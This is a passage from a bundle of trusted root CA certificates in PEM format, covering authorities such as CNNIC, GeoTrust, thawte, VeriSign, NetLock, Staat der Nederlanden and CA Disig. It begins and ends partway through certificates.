SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0 x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD -----END CERTIFICATE----- CNNIC ROOT ========== -----BEGIN CERTIFICATE----- MIIDVTCCAj2gAwIBAgIESTMAATANBgkqhkiG9w0BAQUFADAyMQswCQYDVQQGEwJDTjEOMAwGA1UE ChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwHhcNMDcwNDE2MDcwOTE0WhcNMjcwNDE2MDcw OTE0WjAyMQswCQYDVQQGEwJDTjEOMAwGA1UEChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1Qw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTNfc/c3et6FtzF8LRb+1VvG7q6KR5smzD o+/hn7E7SIX1mlwhIhAsxYLO2uOabjfhhyzcuQxauohV3/2q2x8x6gHx3zkBwRP9SFIhxFXf2tiz VHa6dLG3fdfA6PZZxU3Iva0fFNrfWEQlMhkqx35+jq44sDB7R3IJMfAw28Mbdim7aXZOV/kbZKKT VrdvmW7bCgScEeOAH8tjlBAKqeFkgjH5jCftppkA9nCTGPihNIaj3XrCGHn2emU1z5DrvTOTn1Or czvmmzQgLx3vqR1jGqCA2wMv+SYahtKNu6m+UjqHZ0gNv7Sg2Ca+I19zN38m5pIEo3/PIKe38zrK y5nLAgMBAAGjczBxMBEGCWCGSAGG+EIBAQQEAwIABzAfBgNVHSMEGDAWgBRl8jGtKvf33VKWCscC wQ7vptU7ETAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIB/jAdBgNVHQ4EFgQUZfIxrSr3991S lgrHAsEO76bVOxEwDQYJKoZIhvcNAQEFBQADggEBAEs17szkrr/Dbq2flTtLP1se31cpolnKOOK5 Gv+e5m4y3R6u6jW39ZORTtpC4cMXYFDy0VwmuYK36m3knITnA3kXr5g9lNvHugDnuL8BV8F3RTIM O/G0HAiw/VGgod2aHRM2mm23xzy54cXZF/qD1T0VoDy7HgviyJA/qIYM/PmLXoXLT1tLYhFHxUV8 BS9BsZ4QaRuZluBVeftOhpm4lNqGOGqTo+fLbuXf6iFViZx9fX+Y9QCJ7uOEwFyWtcVG6kbghVW2 G8kS1sHNzYDzAgE8yGnLRUhj2JTQ7IUOO04RZfSCjKY9ri4ilAnIXOo8gV0WKgOXFlUJ24pBgp5m mxE= -----END CERTIFICATE----- ApplicationCA - Japanese Government =================================== -----BEGIN CERTIFICATE----- MIIDoDCCAoigAwIBAgIBMTANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJKUDEcMBoGA1UEChMT SmFwYW5lc2UgR292ZXJubWVudDEWMBQGA1UECxMNQXBwbGljYXRpb25DQTAeFw0wNzEyMTIxNTAw MDBaFw0xNzEyMTIxNTAwMDBaMEMxCzAJBgNVBAYTAkpQMRwwGgYDVQQKExNKYXBhbmVzZSBHb3Zl cm5tZW50MRYwFAYDVQQLEw1BcHBsaWNhdGlvbkNBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAp23gdE6Hj6UG3mii24aZS2QNcfAKBZuOquHMLtJqO8F6tJdhjYq+xpqcBrSGUeQ3DnR4 fl+Kf5Sk10cI/VBaVuRorChzoHvpfxiSQE8tnfWuREhzNgaeZCw7NCPbXCbkcXmP1G55IrmTwcrN wVbtiGrXoDkhBFcsovW8R0FPXjQilbUfKW1eSvNNcr5BViCH/OlQR9cwFO5cjFW6WY2H/CPek9AE jP3vbb3QesmlOmpyM8ZKDQUXKi17safY1vC+9D/qDihtQWEjdnjDuGWk81quzMKq2edY3rZ+nYVu nyoKb58DKTCXKB28t89UKU5RMfkntigm/qJj5kEW8DOYRwIDAQABo4GeMIGbMB0GA1UdDgQWBBRU WssmP3HMlEYNllPqa0jQk/5CdTAOBgNVHQ8BAf8EBAMCAQYwWQYDVR0RBFIwUKROMEwxCzAJBgNV BAYTAkpQMRgwFgYDVQQKDA/ml6XmnKzlm73mlL/lupwxIzAhBgNVBAsMGuOCouODl+ODquOCseOD vOOCt+ODp+ODs0NBMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADlqRHZ3ODrs o2dGD/mLBqj7apAxzn7s2tGJfHrrLgy9mTLnsCTWw//1sogJhyzjVOGjprIIC8CFqMjSnHH2HZ9g /DgzE+Ge3Atf2hZQKXsvcJEPmbo0NI2VdMV+eKlmXb3KIXdCEKxmJj3ekav9FfBv7WxfEPjzFvYD io+nEhEMy/0/ecGc/WLuo89UDNErXxc+4z6/wCs+CZv+iKZ+tJIX/COUgb1up8WMwusRRdv4QcmW dupwX3kSa+SjB1oF7ydJzyGfikwJcGapJsErEU4z0g781mzSDjJkaP+tBXhfAx2o45CsJOAPQKdL rosot4LKGAfmt1t06SAZf7IbiVQ= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G3 ============================================= -----BEGIN CERTIFICATE----- MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0 IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr 2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9 cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt -----END CERTIFICATE----- thawte Primary Root CA - G2 =========================== -----BEGIN CERTIFICATE----- MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDELMAkGA1UEBhMC VVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMpIDIwMDcgdGhhd3RlLCBJbmMu IC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3Qg Q0EgLSBHMjAeFw0wNzExMDUwMDAwMDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEV MBMGA1UEChMMdGhhd3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBG b3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAt IEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/BebfowJPDQfGAFG6DAJS LSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6papu+7qzcMBniKI11KOasf2twu8x+qi5 8/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU mtgAMADna3+FGO6Lts6KDPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUN G4k8VIZ3KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41oxXZ3K rr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg== -----END CERTIFICATE----- thawte Primary Root CA - G3 =========================== -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCBrjELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0w ODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh d3RlLCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMTgwNgYD VQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIG A1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAsr8nLPvb2FvdeHsbnndmgcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2At P0LMqmsywCPLLEHd5N/8YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC +BsUa0Lfb1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS99irY 7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2SzhkGcuYMXDhpxwTW vGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUkOQIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJ KoZIhvcNAQELBQADggEBABpA2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweK A3rD6z8KLFIWoCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7cKUGRIjxpp7sC 8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fMm7v/OeZWYdMKp8RcTGB7BXcm er/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZuMdRAGmI0Nj81Aa6sY6A= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G2 ============================================= -----BEGIN CERTIFICATE----- MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDELMAkGA1UEBhMC VVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA3IEdlb1RydXN0IElu Yy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1 OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg MjAwNyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMTLUdl b1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjB2MBAGByqGSM49AgEG BSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcLSo17VDs6bl8VAsBQps8lL33KSLjHUGMc KiEIfJo22Av+0SbFWDEwKCXzXV2juLaltJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYD VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+ EVXVMAoGCCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGTqQ7m ndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBuczrD6ogRLQy7rQkgu2 npaqBA+K -----END CERTIFICATE----- VeriSign Universal Root Certification Authority =============================================== -----BEGIN CERTIFICATE----- MIIEuTCCA6GgAwIBAgIQQBrEZCGzEyEDDrvkEhrFHTANBgkqhkiG9w0BAQsFADCBvTELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwOCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MTgwNgYDVQQDEy9WZXJpU2lnbiBVbml2ZXJzYWwgUm9vdCBDZXJ0aWZpY2F0aW9u IEF1dGhvcml0eTAeFw0wODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIG9MQswCQYDVQQGEwJV UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv cmsxOjA4BgNVBAsTMShjKSAyMDA4IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl IG9ubHkxODA2BgNVBAMTL1ZlcmlTaWduIFVuaXZlcnNhbCBSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx2E3XrEBNNti1xWb/1hajCMj 1mCOkdeQmIN65lgZOIzF9uVkhbSicfvtvbnazU0AtMgtc6XHaXGVHzk8skQHnOgO+k1KxCHfKWGP MiJhgsWHH26MfF8WIFFE0XBPV+rjHOPMee5Y2A7Cs0WTwCznmhcrewA3ekEzeOEz4vMQGn+HLL72 9fdC4uW/h2KJXwBL38Xd5HVEMkE6HnFuacsLdUYI0crSK5XQz/u5QGtkjFdN/BMReYTtXlT2NJ8I AfMQJQYXStrxHXpma5hgZqTZ79IugvHw7wnqRMkVauIDbjPTrJ9VAMf2CGqUuV/c4DPxhGD5WycR tPwW8rtWaoAljQIDAQABo4GyMIGvMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMG0G CCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI/l0xqGrI2O a8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMB0GA1Ud DgQWBBS2d/ppSEefUxLVwuoHMnYH0ZcHGTANBgkqhkiG9w0BAQsFAAOCAQEASvj4sAPmLGd75JR3 Y8xuTPl9Dg3cyLk1uXBPY/ok+myDjEedO2Pzmvl2MpWRsXe8rJq+seQxIcaBlVZaDrHC1LGmWazx Y8u4TB1ZkErvkBYoH1quEPuBUDgMbMzxPcP1Y+Oz4yHJJDnp/RVmRvQbEdBNc6N9Rvk97ahfYtTx P/jgdFcrGJ2BtMQo2pSXpXDrrB2+BxHw1dvd5Yzw1TKwg+ZX4o+/vqGqvz0dtdQ46tewXDpPaj+P wGZsY6rp2aQW9IHRlRQOfc2VNNnSj3BzgXucfr2YYdhFh5iQxeuGMMY1v/D/w1WIg0vvBZIGcfK4 mJO37M2CYfE45k+XmCpajQ== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G4 ============================================================ -----BEGIN CERTIFICATE----- MIIDhDCCAwqgAwIBAgIQL4D+I4wOIg9IZxIokYesszAKBggqhkjOPQQDAzCByjELMAkGA1UEBhMC VVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3 b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVz ZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmlj YXRpb24gQXV0aG9yaXR5IC0gRzQwHhcNMDcxMTA1MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCByjEL MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBU cnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNyBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRo b3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAASnVnp8 Utpkmw4tXNherJI9/gHmGUo9FANL+mAnINmDiWn6VMaaGF5VKmTeBvaNSjutEDxlPZCIBIngMGGz rl0Bp3vefLK+ymVhAIau2o970ImtTR1ZmkGxvEeA3J5iw/mjgbIwga8wDwYDVR0TAQH/BAUwAwEB /zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEw HzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24u Y29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFLMWkf3upm7ktS5Jj4d4gYDs5bG1MAoGCCqGSM49BAMD A2gAMGUCMGYhDBgmYFo4e1ZC4Kf8NoRRkSAsdk1DPcQdhCPQrNZ8NQbOzWm9kA3bbEhCHQ6qQgIx AJw9SDkjOVgaFRJZap7v1VmyHVIsmXHNxynfGyphe3HR3vPA5Q06Sqotp9iGKt0uEA== -----END CERTIFICATE----- NetLock Arany (Class Gold) FÅ‘tanúsítvány ============================================ -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610 dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6 c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu 0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw /HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1 neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E= -----END CERTIFICATE----- Staat der Nederlanden Root CA - G2 ================================== -----BEGIN CERTIFICATE----- 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 66+KAQ== -----END CERTIFICATE----- CA Disig ======== -----BEGIN CERTIFICATE----- MIIEDzCCAvegAwIBAgIBATANBgkqhkiG9w0BAQUFADBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMK QnJhdGlzbGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwHhcNMDYw MzIyMDEzOTM0WhcNMTYwMzIyMDEzOTM0WjBKMQswCQYDVQQGEwJTSzETMBEGA1UEBxMKQnJhdGlz bGF2YTETMBEGA1UEChMKRGlzaWcgYS5zLjERMA8GA1UEAxMIQ0EgRGlzaWcwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCS9jHBfYj9mQGp2HvycXXxMcbzdWb6UShGhJd4NLxs/LxFWYgm GErENx+hSkS943EE9UQX4j/8SFhvXJ56CbpRNyIjZkMhsDxkovhqFQ4/61HhVKndBpnXmjxUizkD Pw/Fzsbrg3ICqB9x8y34dQjbYkzo+s7552oftms1grrijxaSfQUMbEYDXcDtab86wYqg6I7ZuUUo hwjstMoVvoLdtUSLLa2GDGhibYVW8qwUYzrG0ZmsNHhWS8+2rT+MitcE5eN4TPWGqvWP+j1scaMt ymfraHtuM6kMgiioTGohQBUgDCZbg8KpFhXAJIJdKxatymP2dACw30PEEGBWZ2NFAgMBAAGjgf8w gfwwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUjbJJaJ1yCCW5wCf1UJNWSEZx+Y8wDgYDVR0P AQH/BAQDAgEGMDYGA1UdEQQvMC2BE2Nhb3BlcmF0b3JAZGlzaWcuc2uGFmh0dHA6Ly93d3cuZGlz aWcuc2svY2EwZgYDVR0fBF8wXTAtoCugKYYnaHR0cDovL3d3dy5kaXNpZy5zay9jYS9jcmwvY2Ff ZGlzaWcuY3JsMCygKqAohiZodHRwOi8vY2EuZGlzaWcuc2svY2EvY3JsL2NhX2Rpc2lnLmNybDAa BgNVHSAEEzARMA8GDSuBHpGT5goAAAABAQEwDQYJKoZIhvcNAQEFBQADggEBAF00dGFMrzvY/59t WDYcPQuBDRIrRhCA/ec8J9B6yKm2fnQwM6M6int0wHl5QpNt/7EpFIKrIYwvF/k/Ji/1WcbvgAa3 mkkp7M5+cTxqEEHA9tOasnxakZzArFvITV734VP/Q3f8nktnbNfzg9Gg4H8l37iYC5oyOGwwoPP/ CBUz91BKez6jPiCp3C9WgArtQVCwyfTssuMmRAAOb54GvCKWU3BlxFAKRmukLyeBEicTXxChds6K ezfqwzlhA5WYOudsiCUI/HloDYd9Yvi0X/vF2Ey9WLw/Q1vUHgFNPGO+I++MzVpQuGhU+QqZMxEA 4Z7CRneC9VkGjCFMhwnN5ag= -----END CERTIFICATE----- Juur-SK ======= -----BEGIN CERTIFICATE----- MIIE5jCCA86gAwIBAgIEO45L/DANBgkqhkiG9w0BAQUFADBdMRgwFgYJKoZIhvcNAQkBFglwa2lA 